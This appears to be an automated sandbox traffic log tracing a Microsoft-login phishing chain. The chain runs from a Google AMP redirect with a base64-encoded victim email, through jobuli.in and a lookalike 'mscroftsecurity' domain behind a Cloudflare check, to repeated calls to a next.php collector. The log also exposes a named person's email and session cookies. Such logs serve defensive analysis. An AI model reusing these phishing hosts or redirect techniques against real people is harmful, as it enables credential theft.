HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N2dHRzZnpiRzMmRzMmQjQmdHF1dWlFNCZtc3ZDNCYzMzMmRTQmdW9mdW9wZDEzJjMzJml0ZnNnZnMzMyZFNCZ3anZyZi5xdXVpMTMmYnVmbkQ0JjEzJjEzJjEzJjEzJkIxJkY0JjMzJjkuR1VWMzMmRTQmdWZ0c2JpZDEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCZlYmZpRDQmQjEmRjQmbW51aUQ0JkIxJkY0Jm9icXRHMyZENCZkazdoWlZENCZ0ezVNRTQmTFhteDFPUWdkWFBZc3s1d0c5e1FFNiZDT0Y0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEm HTTP/1.1Host: www.google.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SbEnxUSlQQhaaY8DHS7Cr4pTI2L9wYUj1ih-fS53pb8NU0k9UEqOeurHDhx-yM3gDdCPOhnHgwsyGk0BtZPI0E92hoPcwK7KNH6hyCDHrwRGAItt2-uaW7O2r0mz_okIlx3i3VrEcyCXTsuBaKLY8szxuEaluMoOhX0raBTuWjDcOSShJt6lRJri4WBpw4tQTWK3lP04jg
Source: global traffic	HTTP traffic detected: GET ////amp/s/jobuli.in/winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N2dHRzZnpiRzMmRzMmQjQmdHF1dWlFNCZtc3ZDNCYzMzMmRTQmdW9mdW9wZDEzJjMzJml0ZnNnZnMzMyZFNCZ3anZyZi5xdXVpMTMmYnVmbkQ0JjEzJjEzJjEzJjEzJkIxJkY0JjMzJjkuR1VWMzMmRTQmdWZ0c2JpZDEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCZlYmZpRDQmQjEmRjQmbW51aUQ0JkIxJkY0Jm9icXRHMyZENCZkazdoWlZENCZ0ezVNRTQmTFhteDFPUWdkWFBZc3s1d0c5e1FFNiZDT0Y0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEm HTTP/1.1Host: www.google.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=SbEnxUSlQQhaaY8DHS7Cr4pTI2L9wYUj1ih-fS53pb8NU0k9UEqOeurHDhx-yM3gDdCPOhnHgwsyGk0BtZPI0E92hoPcwK7KNH6hyCDHrwRGAItt2-uaW7O2r0mz_okIlx3i3VrEcyCXTsuBaKLY8szxuEaluMoOhX0raBTuWjDcOSShJt6lRJri4WBpw4tQTWK3lP04jg
Source: global traffic	HTTP traffic detected: GET /winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20= HTTP/1.1Host: jobuli.inConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: jobuli.inConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jobuli.in/winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4HDRF/?e=marsha.rowland@cherokeebrick.com HTTP/1.1Host: automtionmscroftsecurityactivation-authenic.appfilevault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://jobuli.in/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ak6hp/0x4AAAAAAA4sjfoGATNb4gTz/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901e4933de02c33d&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ak6hp/0x4AAAAAAA4sjfoGATNb4gTz/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ak6hp/0x4AAAAAAA4sjfoGATNb4gTz/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: automtionmscroftsecurityactivation-authenic.appfilevault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.comAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=60bgdjfe05l806n0sv6kklmv6m
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901e4933de02c33d&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/382041869:1736860383:ZqPzmwJyJsbA3MpWp2rpI_b9unVV8KTL-u85NFveN8A/901e4933de02c33d/l37FkFdlZ1fSDKFHo2gGYIJyAmHRKJ_5Hm7XdiRi500-1736864627-1.1.1.1-CL9syU60YH1ufmaXKKTjsxTCbjZZey2zOPmXtrtPqEkqR_ygy6Lcl6G0Icj2toKX HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/901e4933de02c33d/1736864629542/f3a2105560640204554afeb9763f529c968e6bb748fa220deeb455005a9d6a38/XXiGP2ORCXpxusE HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ak6hp/0x4AAAAAAA4sjfoGATNb4gTz/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/901e4933de02c33d/1736864629544/apPZLrObUQ4dNFA HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ak6hp/0x4AAAAAAA4sjfoGATNb4gTz/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/901e4933de02c33d/1736864629544/apPZLrObUQ4dNFA HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/382041869:1736860383:ZqPzmwJyJsbA3MpWp2rpI_b9unVV8KTL-u85NFveN8A/901e4933de02c33d/l37FkFdlZ1fSDKFHo2gGYIJyAmHRKJ_5Hm7XdiRi500-1736864627-1.1.1.1-CL9syU60YH1ufmaXKKTjsxTCbjZZey2zOPmXtrtPqEkqR_ygy6Lcl6G0Icj2toKX HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/382041869:1736860383:ZqPzmwJyJsbA3MpWp2rpI_b9unVV8KTL-u85NFveN8A/901e4933de02c33d/l37FkFdlZ1fSDKFHo2gGYIJyAmHRKJ_5Hm7XdiRi500-1736864627-1.1.1.1-CL9syU60YH1ufmaXKKTjsxTCbjZZey2zOPmXtrtPqEkqR_ygy6Lcl6G0Icj2toKX HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://automtionmscroftsecurityactivation-authenic.appfilevault.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://automtionmscroftsecurityactivation-authenic.appfilevault.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://automtionmscroftsecurityactivation-authenic.appfilevault.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 5863941096-1323985617.cos.ap-singapore.myqcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 5863941096-1323985617.cos.ap-singapore.myqcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: 5863941096.legalbusinessfederal.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: 5863941096.legalbusinessfederal.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: 5863941096.legalbusinessfederal.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: 5863941096.legalbusinessfederal.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: www.tiktok.com
Source: global traffic	DNS traffic detected: DNS query: google.com
Source: global traffic	DNS traffic detected: DNS query: jobuli.in
Source: global traffic	DNS traffic detected: DNS query: automtionmscroftsecurityactivation-authenic.appfilevault.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
